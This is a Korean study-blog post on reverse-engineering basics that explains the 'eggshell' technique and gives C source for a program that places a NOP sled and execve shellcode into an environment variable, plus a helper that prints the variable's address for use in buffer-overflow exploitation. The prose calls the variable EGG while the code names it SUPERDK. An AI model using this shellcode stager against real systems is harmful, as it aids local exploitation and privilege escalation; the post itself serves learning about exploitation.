Study Record

[리버싱 기초개념] 에그 쉘 (eggshell) 본문

리버싱/기초 개념

[리버싱 기초개념] 에그 쉘 (eggshell)

초코초코초코 2021. 11. 21. 00:17
728x90

+ 참고 : 쉘 코드

 

※ 에그 쉘(eggshell)?

쉘코드를 환경변수에 올릴 때 사용하는 프로그램이다.

 

에그 쉘 프로그램

# vi egg.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90

// 배시쉘을 실행하는 쉘코드
char shellcode[] =
 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv){
        char *ptr, *superSH;
        char shAddr[DEFAULT_ADDR_SIZE + 1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr;
        int i, supershLen=DEFAULT_SUPERDK_SIZE;
        int chgDec[3];

        // 셀코드를 올릴 포인터 주소에 동적 메모리 할당
        if(!(superSH = malloc(supershLen))){
                printf("Can't allocate memory for supershLen");
                exit(0);
        }
        
        // 쉘코드 실행 확률을 높이기 위해서 셀코드 앞에 충분한 NOP 추가
        ptr = superSH;
        for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        // NOP 뒤에 셀코드 추가
        for(i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        // 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시
        superSH[supershLen - 1] = '\0';

        // EGG라는 환경변수명으로 셀코드를 환경변수에 등록
        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
        putenv(superSH);

        // 새로운 배시셀 실행
        system("/bin/bash");
}

EGG 라는 환경변수에 쉘 코드를 등록하고 새로운 배시 쉘을 실행했다. 그러면 새로운 배시쉘에서 환경변수 EGG 의 주소값이 바로 쉘 코드의 실행 시작 주소값이 될 것이다.

 

☞ egg 프로그램 만들기

# gcc egg.c -o egg

 

환경변수 EGG 의 주소값을 가져오는 프로그램

# vi getenv.c

#include <stdio.h>

int main(){
        printf("SUPERDK's addr=%p\n", getenv("SUPERDK"));
}

☞ getenv 프로그램 만들기

# gcc getenv.c -o getenv

728x90